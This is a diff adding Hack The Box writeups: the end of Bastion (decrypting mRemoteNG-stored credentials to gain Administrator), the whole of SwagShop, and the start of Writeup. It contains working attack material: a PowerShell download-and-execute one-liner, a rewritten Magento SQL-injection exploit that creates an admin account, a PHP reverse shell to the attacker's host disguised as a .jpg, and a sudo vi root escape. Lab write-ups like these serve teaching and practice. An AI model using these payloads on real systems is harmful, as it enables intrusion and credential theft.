profile + Home directory + Last logon 12-2-2020 20:31:20 + + Logon hours allowed All + + Local Group Memberships *Users + Global Group memberships *None + The command completed successfully. + + +so here it says that our local group membership is with ***Users**. Running the same command on the Administrator user we see that + + + l4mpje@BASTION C:\Users\L4mpje>net user Administrator + User name Administrator + Full Name + Comment Built-in account for administering the computer/domain + User's comment + Country/region code 000 (System Default) + Account active Yes + Account expires Never + + Password last set 16-4-2019 11:00:56 + Password expires Never + Password changeable 16-4-2019 11:00:56 + Password required Yes + User may change password Yes + + Workstations allowed All + Logon script + User profile + Home directory + Last logon 27-8-2019 10:18:29 + + Logon hours allowed All + + Local Group Memberships *Administrators + Global Group memberships *None + The command completed successfully. + + +here we see that the administrator user has his password last set on **16-4-2019 11:00:56** + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → cd vhd + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd] + → ls + '$Recycle.Bin' config.sys pagefile.sys ProgramData Recovery Users + autoexec.bat 'Documents and Settings' PerfLogs 'Program Files' 'System Volume Information' Windows + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd] + → cd Windows/System32/config + + λ root [ 10.10.14.15/23 ] [Windows/System32/config] + → ls -lash | grep SAM + 256K -rwxrwxrwx 1 root root 256K Feb 22 2019 SAM + 4.0K -rwxrwxrwx 1 root root 1.0K Apr 12 2011 SAM.LOG + 24K -rwxrwxrwx 2 root root 21K Feb 22 2019 SAM.LOG1 + 0 -rwxrwxrwx 2 root root 0 Jul 14 2009 SAM.LOG2 + + λ root [ 10.10.14.15/23 ] [Windows/System32/config] + → ls -lash | grep SYSTEM + 9.3M -rwxrwxrwx 1 root root 9.3M Feb 22 2019 SYSTEM + 4.0K -rwxrwxrwx 1 root root 1.0K Apr 12 2011 SYSTEM.LOG + 3.5M -rwxrwxrwx 2 root root 256K Feb 22 2019 SYSTEM.LOG1 + 0 -rwxrwxrwx 2 root root 0 Jul 14 2009 SYSTEM.LOG2 + + + + +From there we see that the SAM and SYSTEM registry files were last modified Febuary 22nd, so that's why we weren't able to see the administrator account before. Now in order to privesc, we will use a tool called JAWS which is a windows enumerating script + + + λ root [ 10.10.14.15/23 ] [Windows/System32/config] + → cd ../../.. + + λ root [ 10.10.14.15/23 ] [_HTB/Bastion/vhd] + → cd .. + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → curl -sk https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1 > jaws-enum.ps1 + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → ifconfig | grep inet + inet 192.168.0.19 netmask 255.255.255.0 broadcast 192.168.0.255 + inet6 fe80::82fa:5bff:fe5b:4334 prefixlen 64 scopeid 0x20 + inet 127.0.0.1 netmask 255.0.0.0 + inet6 ::1 prefixlen 128 scopeid 0x10 + inet 10.10.14.15 netmask 255.255.254.0 destination 10.10.14.15 + inet6 dead:beef:2::100d prefixlen 64 scopeid 0x0 + inet6 fe80::f96c:5ab:2911:51b prefixlen 64 scopeid 0x20 + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + +We will download the script (jaws-enum.ps1) at our ip (10.10.14.15) at the correct port (8080) onto the box. + + + l4mpje@BASTION C:\Users\L4mpje>IEX(New-Object Net.WebClient).downloadString('http://10.10.14.15:8080/jaws-enum.ps1') + 'IEX' is not recognized as an internal or external command, + operable program or batch file. + + +let's not forget that we'll use powershell to run that command :) + + + l4mpje@BASTION C:\Users\L4mpje>powershell + Windows PowerShell + Copyright (C) 2016 Microsoft Corporation. All rights reserved. + + PS C:\Users\L4mpje> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.15:8080/jaws-enum.ps1') + + Running J.A.W.S. Enumeration + + +while that runs let's run another ssh session to see what we can find + + + Microsoft Windows [Version 10.0.14393] + (c) 2016 Microsoft Corporation. All rights reserved. + + l4mpje@BASTION C:\Users\L4mpje>cd ../.. + + l4mpje@BASTION C:\>dir + Volume in drive C has no label. + Volume Serial Number is 0CB3-C487 + + Directory of C:\ + + 12-02-2020 20:22 <****DIR> Backups + 12-09-2016 12:35 <****DIR> Logs + 22-02-2019 14:42 <****DIR> PerfLogs + 27-08-2019 10:20 <****DIR> Program Files + 22-02-2019 14:01 <****DIR> Program Files (x86) + 22-02-2019 13:50 <****DIR> Users + 12-02-2020 19:07 <****DIR> Windows + 0 File(s) 0 bytes + 7 Dir(s) 11.297.501.184 bytes free + + l4mpje@BASTION C:\>cd Program Files (x86) + + l4mpje@BASTION C:\Program Files (x86)>dir + Volume in drive C has no label. + Volume Serial Number is 0CB3-C487 + + Directory of C:\Program Files (x86) + + 22-02-2019 14:01 <****DIR> . + 22-02-2019 14:01 <****DIR> .. + 16-07-2016 14:23 <****DIR> Common Files + 23-02-2019 09:38 <****DIR> Internet Explorer + 16-07-2016 14:23 <****DIR> Microsoft.NET + 22-02-2019 14:01 <****DIR> mRemoteNG + 23-02-2019 10:22 <****DIR> Windows Defender + 23-02-2019 09:38 <****DIR> Windows Mail + 23-02-2019 10:22 <****DIR> Windows Media Player + 16-07-2016 14:23 <****DIR> Windows Multimedia Platform + 16-07-2016 14:23 <****DIR> Windows NT + 23-02-2019 10:22 <****DIR> Windows Photo Viewer + 16-07-2016 14:23 <****DIR> Windows Portable Devices + 16-07-2016 14:23 <****DIR> WindowsPowerShell + 0 File(s) 0 bytes + 14 Dir(s) 11.297.501.184 bytes free + +looking at the program files(x86) folder we see something interesting here, the mRemoteNG which is an open source, tabbed, multi-protocol, remote connections manager. looking at this [article](http://hackersvanguard.com/mremoteng-insecure-password-storage/) made by hackersvanguard.com, we see that it is possible to decrypt passwords. However for this example we'll use another solution in order to remain within the linux environment, using a this [ python script](https://raw.githubusercontent.com/haseebT/mRemoteNG-Decrypt/master/mremoteng_decrypt.py) + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → curl -sk https://raw.githubusercontent.com/haseebT/mRemoteNG-Decrypt/master/mremoteng_decrypt.py > mremoteng.py + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → python3 mremoteng.py + usage: mremoteng.py [-h] [-f FILE | -s STRING] [-p PASSWORD] + + Decrypt mRemoteNG passwords. + + optional arguments: + -h, --help show this help message and exit + -f FILE, --file FILE name of file containing mRemoteNG password + -s STRING, --string STRING + base64 string of mRemoteNG password + -p PASSWORD, --password PASSWORD + Custom password + + +using python3 to print out the help menu we see that we will have to setup a few flags : first of all we need the string of the encrypted mremoteng password, which according to the aforementioned blog post is located in the config file, so let's navigate there + + + PS C:\Users\L4mpje> cd \Users\L4mpje\Appdata\Roaming + PS C:\Users\L4mpje\Appdata\Roaming> dir + + + Directory: C:\Users\L4mpje\Appdata\Roaming + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 22-2-2019 13:50 Adobe + d---s- 22-2-2019 13:52 Microsoft + d----- 22-2-2019 14:03 mRemoteNG + + +moving into mRemoteNG we print out the contents of confCons.xml + + + PS C:\Users\L4mpje\Appdata\Roaming> cd .\mRemoteNG\ + PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> dir + + + Directory: C:\Users\L4mpje\Appdata\Roaming\mRemoteNG + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 22-2-2019 14:01 Themes + -a---- 22-2-2019 14:03 6316 confCons.xml + -a---- 22-2-2019 14:02 6194 confCons.xml.20190222-1402277353.backup + -a---- 22-2-2019 14:02 6206 confCons.xml.20190222-1402339071.backup + -a---- 22-2-2019 14:02 6218 confCons.xml.20190222-1402379227.backup + -a---- 22-2-2019 14:02 6231 confCons.xml.20190222-1403070644.backup + -a---- 22-2-2019 14:03 6319 confCons.xml.20190222-1403100488.backup + -a---- 22-2-2019 14:03 6318 confCons.xml.20190222-1403220026.backup + -a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403261268.backup + -a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403272831.backup + -a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403433299.backup + -a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403486580.backup + -a---- 22-2-2019 14:03 51 extApps.xml + -a---- 22-2-2019 14:03 5217 mRemoteNG.log + -a---- 22-2-2019 14:03 2245 pnlLayout.xml + + + PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> type confCons.xml + Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" + + +and there we have our encrypted password string ! let's try out the python script we just got to see if it can decrypt it. + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → python3 mremoteng.py -s yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB + Password: bureaulampje + + +we already have that one, so we need to check for another one + + + Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" + + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → python3 mremoteng.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw== + Password: thXLHM96BeKL0ER2 + + +seems like we have a password for the Administrator user, let's see if we can SSH as the Administrator user. + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → ssh Administrator@10.10.10.134 + Administrator@10.10.10.134's password: + + Microsoft Windows [Version 10.0.14393] + (c) 2016 Microsoft Corporation. All rights reserved. + + administrator@BASTION C:\Users\Administrator>whoami + bastion\administrator + + +And there we go, we are logged in as Administrator ! all that's left to do is to print out the root flag. + + + λ root [ 10.10.14.15/23 ] [nihilist/_HTB/Bastion] + → ssh Administrator@10.10.10.134 + Administrator@10.10.10.134's password: + + Microsoft Windows [Version 10.0.14393] + (c) 2016 Microsoft Corporation. All rights reserved. + + administrator@BASTION C:\Users\Administrator>whoami + bastion\administrator + + administrator@BASTION C:\Users\Administrator>cd Desktop + + administrator@BASTION C:\Users\Administrator\Desktop>type root.txt + 95XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/31_graph.png) + diff --git a/Easy/32.md b/Easy/32.md new file mode 100644 index 0000000..6f85091 --- /dev/null +++ b/Easy/32.md @@ -0,0 +1,377 @@ +# SwagShop Writeup + +![](img/32.png) + +## Introduction : + +SwagShop is an easy Linux box that was released back in May 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → ping 10.10.10.140 + PING 10.10.10.140 (10.10.10.140) 56(84) bytes of data. + 64 bytes from 10.10.10.140: icmp_seq=1 ttl=63 time=84.7 ms + 64 bytes from 10.10.10.140: icmp_seq=2 ttl=63 time=73.5 ms + 64 bytes from 10.10.10.140: icmp_seq=3 ttl=63 time=80.2 ms + ^C + --- 10.10.10.140 ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2003ms + rtt min/avg/max/mdev = 73.461/79.465/84.723/4.627 ms + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → nmap -F 10.10.10.140 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 12:59 CET + Nmap scan report for 10.10.10.140 + Host is up (0.078s latency). + Not shown: 98 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → nmap -sCV -p22,80 10.10.10.140 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 13:00 CET + Nmap scan report for 10.10.10.140 + Host is up (0.080s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA) + | 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA) + |_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Home page + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 11.74 seconds + + + + +## **Part 2 : Getting User Access** + +We see that our nmap scan picked up the 80th port, let's enumerate it using dirsearch. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → dirsearch -u http://10.10.10.140/ -e php,html,js,txt -x 403 -r + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, js, txt | HTTP method: get | Threads: 10 | Wordlist size: 7107 | Recursion level: 1 + + Error Log: /home/nihilist/.dirsearch/logs/errors-19-12-13_13-07-32.log + + Target: http://10.10.10.140/ + + [13:07:32] Starting: + + +While that runs in the background, we browse to it and see what we're dealing with. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → curl -sk http://10.10.10.140 | grep Magento + <****address class="copyright">(C) 2014 Magento Demo Store. All Rights Reserved.<**/address> + + +Seems like we have a Magento webserver to work with ! let's run a quick searchsploit command with the Magento command to see which exploits are publicly available for this service. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → searchsploit Magento + ------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------- ---------------------------------------- + Magento 1.2 - '/app/code/core/Mage/A | exploits/php/webapps/32808.txt + Magento 1.2 - '/app/code/core/Mage/A | exploits/php/webapps/32809.txt + Magento 1.2 - 'downloader/index.php' | exploits/php/webapps/32810.txt + Magento < 2.0.6 - Arbitrary Unserial | exploits/php/webapps/39838.php + Magento CE < 1.9.0.1 - (Authenticate | exploits/php/webapps/37811.py + Magento Server MAGMI Plugin - Multip | exploits/php/webapps/35996.txt + Magento Server MAGMI Plugin 0.7.17a | exploits/php/webapps/35052.txt + Magento eCommerce - Local File Discl | exploits/php/webapps/19793.txt + Magento eCommerce - Remote Code Exec | exploits/xml/webapps/37977.py + eBay Magento 1.9.2.1 - PHP FPM XML e | exploits/php/webapps/38573.txt + eBay Magento CE 1.9.2.1 - Unrestrict | exploits/php/webapps/38651.txt + ------------------------------------- ---------------------------------------- + Shellcodes: No Result + + +Let's first locate the python script n° 37977 which could possibly give us the ability to execute remote code onto the webserver. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → locate 37977.py + /usr/share/exploitdb/exploits/xml/webapps/37977.py + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → cp /usr/share/exploitdb/exploits/xml/webapps/37977.py . + + +Now that's saved locally, we'll continue searching a bit before coming back to it. Meanwhile our dirsearch scan returned with a few results for us : + + + [13:07:33] 301 - 309B - /js -> http://10.10.10.140/js/ + [13:07:53] 301 - 310B - /app -> http://10.10.10.140/app/ + [13:07:54] 200 - 5KB - /app/etc/config.xml + [13:07:54] 200 - 2KB - /app/etc/local.xml + [13:07:54] 200 - 9KB - /app/etc/local.xml.additional + [13:07:54] 200 - 2KB - /app/etc/local.xml.template + [13:08:01] 200 - 717B - /cron.sh + [13:08:01] 200 - 0B - /cron.php + [13:08:04] 301 - 313B - /errors -> http://10.10.10.140/errors/ + [13:08:04] 200 - 2KB - /errors/ + [13:08:05] 200 - 1KB - /favicon.ico + [13:08:09] 200 - 946B - /includes/ + [13:08:09] 301 - 315B - /includes -> http://10.10.10.140/includes/ + [13:08:09] 200 - 16KB - /index.php + [13:08:10] 200 - 44B - /install.php + [13:08:11] 301 - 318B - /js/tiny_mce -> http://10.10.10.140/js/tiny_mce/ + [13:08:11] 200 - 4KB - /js/tiny_mce/ + [13:08:11] 301 - 310B - /lib -> http://10.10.10.140/lib/ + [13:08:11] 200 - 10KB - /LICENSE.txt + [13:08:14] 301 - 312B - /media -> http://10.10.10.140/media/ + [13:08:18] 200 - 886B - /php.ini.sample + [13:08:20] 301 - 314B - /pkginfo -> http://10.10.10.140/pkginfo/ + [13:08:23] 200 - 571KB - /RELEASE_NOTES.txt + [13:08:24] 301 - 312B - /shell -> http://10.10.10.140/shell/ + [13:08:24] 200 - 2KB - /shell/ + [13:08:26] 301 - 311B - /skin -> http://10.10.10.140/skin/ + [13:08:31] 200 - 755B - /var/backups/ + [13:08:31] 301 - 310B - /var -> http://10.10.10.140/var/ + [13:08:31] 200 - 4KB - /var/cache/ + + +Seems like our dirsearch scan came back with a few interesting directories for us to inspect. Let's use a web browser of our choice to inspect the /app directory. For this example we'll use lynx. + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → lynx http://10.10.10.140/app/ + + + +![](prg/32_001.png) + +Seems like we can list it's contents ! Let's navigate into etc. + +![](prg/32_002.png) + +Locale.xml seems juicy. + + + Wed, 08 May 2019 07:23:09 +0000 b355a9e0cd018d3f7f03607141518419 + false localhost root fMVWh7bDHpgZkyfqQXreTjU9 swagshop SET NAMES utf8 + mysql4 pdo_mysql 1 files admin + + +And we have credentials ! although the password seems to be encrypted. Let's return to our python script n°37977 and see if we are able to execute it in either python1, 2 or 3. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → python 37977.py + File "37977.py", line 9 + //////////////////////// + ^ + SyntaxError: invalid syntax + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → python2 37977.py + File "37977.py", line 9 + //////////////////////// + ^ + SyntaxError: invalid syntax + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → python3 37977.py + File "37977.py", line 9 + //////////////////////// + ^ + SyntaxError: invalid syntax + + +Looking at the results, we see that the script has been badly written so we will re-write it. + + + 37977.py + import requests + import base64 + import sys + + target = "http://10.10.10.140/" + + if not target.startswith("http"): + target = "http://" + target + + if target.endswith("/"): + target = target[:-1] + + target_url = target + "/admin/Cms_Wysiwyg/directive/index/" + + q=""" + SET @SALT = 'rp'; + SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT )); + SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; + INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); + INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname'); + """ + + + query = q.replace("\n", "").format(username="forme", password="forme") + pfilter = "popularity[from]=0&popularity;[to]=3&popularity;[field_expr]=0);{0}".format(query) + + # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}} + r = requests.post(target_url, + data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ", + "filter": base64.b64encode(pfilter), + "forwarded": 1}) + if r.ok: + print "WORKED" + print "Check {0}/admin with creds forme:forme".format(target) + else: + print "DID NOT WORK" + + +Now that the script has been re-written, we try to launch it in the same way we tried before. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → python 37977.py + File "37977.py", line 33 + print "WORKED" + ^ + SyntaxError: Missing parentheses in call to 'print'. Did you mean print("WORKED")? + + +Let's not forget that this script is a bit old and has got it's print statements without any parentheses so we will use python2 to launch it. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → python2 37977.py + DID NOT WORK + + +Out of luck ! That's because it's not the correct url. we need to replace the URL at the top with "http://10.10.10.140/index.php/" + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → nano 37977.py + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/SwagShop ] + → python2 37977.py + WORKED + Check http://10.10.10.140/index.php/admin with creds forme:forme + + + +And it worked ! let's check out the login page with the credentials forme:forme. + +![](prg/32_003.png) ![](prg/32_004.png) + +We have been able to log in ! Now looking back at our searchsploit results we see yet another python script that looks intersting, let's copy it into our current directory. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/SwagShop] + → nano nihilist.jpg + + + + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.10/1234 0>&1'"); + ?****> + +![](prg/32_005.png) + +next we go to newsletter > newsletter templates > add new template and do the following : + +![](prg/32_006.png) + +next we go to System > configuration > developer > template settings > allow symlinks and therefore we should be able to preview our template which will browse to the php reverse shell hidden in the thumbnail jpg named nihilist.jpg, which should send the incoming shell connection to our netcat listener on port 1234 + + + λ nihilist [ 10.10.14.10/23 ] [/usr/share] + → nc -lvnp 1234 + listening on [any] 1234 ... + connect to [10.10.14.10] from (UNKNOWN) [10.10.10.140] 53234 + bash: cannot set terminal process group (1292): Inappropriate ioctl for device + bash: no job control in this shell + www-data@swagshop:/var/www/html$ cd /home && ls + haris + www-data@swagshop:/home$ cd haris + cd haris + www-data@swagshop:/home/haris$ cat user.txt + cat user.txt + a4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +## **Part 3 : Getting Root Access** + +we type sudo -l + + + www-data@swagshop:/home/haris$ sudo -l + sudo -l + Matching Defaults entries for www-data on swagshop: + env_reset, mail_badpass, + secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User www-data may run the following commands on swagshop: + (root) NOPASSWD: /usr/bin/vi /var/www/html/* + + www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/nihilist + sudo /usr/bin/vi /var/www/html/nihilist + Vim: Warning: Output is not to a terminal + Vim: Warning: Input is not from a terminal + + E558: Terminal entry not found in terminfo + 'unknown' not known. Available builtin terminals are: + builtin_amiga + builtin_beos-ansi + builtin_ansi + builtin_pcansi + builtin_win32 + builtin_vt320 + builtin_vt52 + builtin_xterm + builtin_iris-ansi + builtin_debug + builtin_dumb + defaulting to 'ansi' + + + :!/bin/bash + whoami + root + cat /root/root.txt + c2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + ___ ___ + /| |/|\| |\ + /_| ´ |.` |_\ We are open! (Almost) + | |. | + | |. | Join the beta HTB Swag Store! + |___|.__| https://hackthebox.store/password + + PS: Use root flag as password! + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/32_graph.png) + diff --git a/Easy/33.md b/Easy/33.md new file mode 100644 index 0000000..c07b50f --- /dev/null +++ b/Easy/33.md @@ -0,0 +1,329 @@ +# Writeup Writeup + +![](img/33.png) + +## Introduction : + +Writeup is an easy Linux box that was released back in June 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → nmap -F 10.10.10.138 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 08:42 GMT + Nmap scan report for writeup.htb (10.10.10.138) + Host is up (0.098s latency). + Not shown: 98 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 3.30 seconds + + +Looks like we have 2 ports opened, let's investigate the 80th port. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → nmap -sCV -p80 10.10.10.138 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 08:42 GMT + Nmap scan report for writeup.htb (10.10.10.138) + Host is up (0.094s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.25 ((Debian)) + | http-robots.txt: 1 disallowed entry + |_/writeup/ + |_http-title: Nothing here yet. + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.60 seconds + + +let's add writeup.htb to our /etc/hosts + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → echo '10.10.10.138 writeup.htb' >> /etc/hosts + + +## **Part 2 : Getting User Access** + +Taking a first glance at the webpage on port 80, we use the curl command with the -sk flags. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → curl -sk http://writeup.htb/ + + ######################################################################## + # # + # *** NEWS *** NEWS *** NEWS *** NEWS *** NEWS *** # + # # + # Not yet live and already under attack. I found an ,~~--~~-. # + # Eeyore DoS protection script that is in place and + | |\ # + # watches for Apache 40x errors and bans bad IPs. || |~ |`,/-\ # + # Hope you do not get hit by false-positive drops! *\_) \_) `-' # + # # + # If you know where to download the proper Donkey DoS protection # + # please let me know via mail to jkr@writeup.htb - thanks! # + # # + ######################################################################## + + aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa + 88888888888888888888888888888888888888888888888888888 + 8888"""""""""""""""8888888888888888888888888888888888 + 8888 8888888888888888888888888888888888 + 8888 HTB NOTES 8888888888888888888888888888888888 + 8888 888888888888888888888888888888888" + 8888aaaaaaaaaaaaaaa888888888888888888888888888888888a + 88888888888888888888888888888888888888888888888888888 + 88888888888888888888888888888888888888888888888888888 + 88888888888888888888888888888888888888888888888888888 + 88888888888888888888888":::::"88888888888888888888888 + 888888888888888888888::;gPPRg;::888888888888888888888 + 88888888888888888888::dP' `Yb::88888888888888888888 + 88888888888888888888::8) (8::88888888888888888888 + 88888888888888888888;:Yb dP:;88( )888888888888888 + 888888888888888888888;:"8ggg8":;888888888888888888888 + 88888888888888888888888aa:::aa88888888888888888888888 + 88888888888888888888888888888888888888888888888888888 + 88888888888888888888888888888888888888888888888888888 + 88888888888888888888888888"88888888888888888888888888 + 8888888888888888888888888:::8888888888888888888888888 + 8888888888888888888888888:::8888888888888888888888888 + 8888888888888888888888888:::8888888888888888888888888 + 8888888888888888888888888:::8888888888888888888888888 + 8888888888888888888888888:::8888888888888888888888888 + 88888888888888888888888888a88888888888888888888888888 + """""""""""""""""""' `"""""""""' `""""""""""""""""""" + (c) by Normand Veilleux + + + I am still searching through my backups so there is + nothing here yet. I am preparing go-live of my own + app.hackthebox.eu write-up page soon. Stay tuned! + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → dirsearch -u http://writeup.htb/ -e txt,php,html,js -t 50 + + +nothing too interesting there, apart from some information about "Apache 40x", let's run dirsearch to see which directories we can find. + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → dirsearch -u http://writeup.htb/ -e txt,php,html,js -t 50 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: txt, php, html, js | HTTP method: get | Threads: 50 | Wordlist size: 7126 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-15_08-47-45.log + + Target: http://writeup.htb/ + + [08:47:45] Starting: + 0.84% - Last request to: .bzr/README + + +looks like this was a bad idea, the server seems to have blacklisted us. Instead we will use the nikto command. + + + λ root [ 10.10.14.10/23 ] [nihilist/_HTB/Writeup] + → nikto -h http://10.10.10.138/ + - Nikto v2.1.6 + --------------------------------------------------------------------------- + + Target IP: 10.10.10.138 + + Target Hostname: 10.10.10.138 + + Target Port: 80 + + Start Time: 2020-02-15 08:52:24 (GMT0) + --------------------------------------------------------------------------- + + Server: Apache/2.4.25 (Debian) + + The anti-clickjacking X-Frame-Options header is not present. + + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + + ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected + + Scan terminated: 20 error(s) and 3 item(s) reported on remote host + + End Time: 2020-02-15 08:53:16 (GMT0) (52 seconds) + --------------------------------------------------------------------------- + + 1 host(s) tested + + + +nothing too interesting there, nikto seems to timeout on the host, let's check robots.txt + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → curl -sk http://10.10.10.138/robots.txt + # __ + # _(\ |@@| + # (__/\__ \--/ __ + # \___|----| | __ + # \ }{ /\ )_ / _\ + # /\__/\ \__O (__ + # (--/\--) \__/ + # _)( )(_ + # `---''---` + + # Disallow access to the blog until content is finished. + User-agent: * + Disallow: /writeup/ + + +checking out http://10.10.10.138/writeup/ , we are greeted with some sort of a menu, let's look at it's source menu for anything fancy. + +![](prg/33_001.png) + + + λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Writeup] + → curl -sk http://10.10.10.138/writeup/ | grep CMS + <****meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." 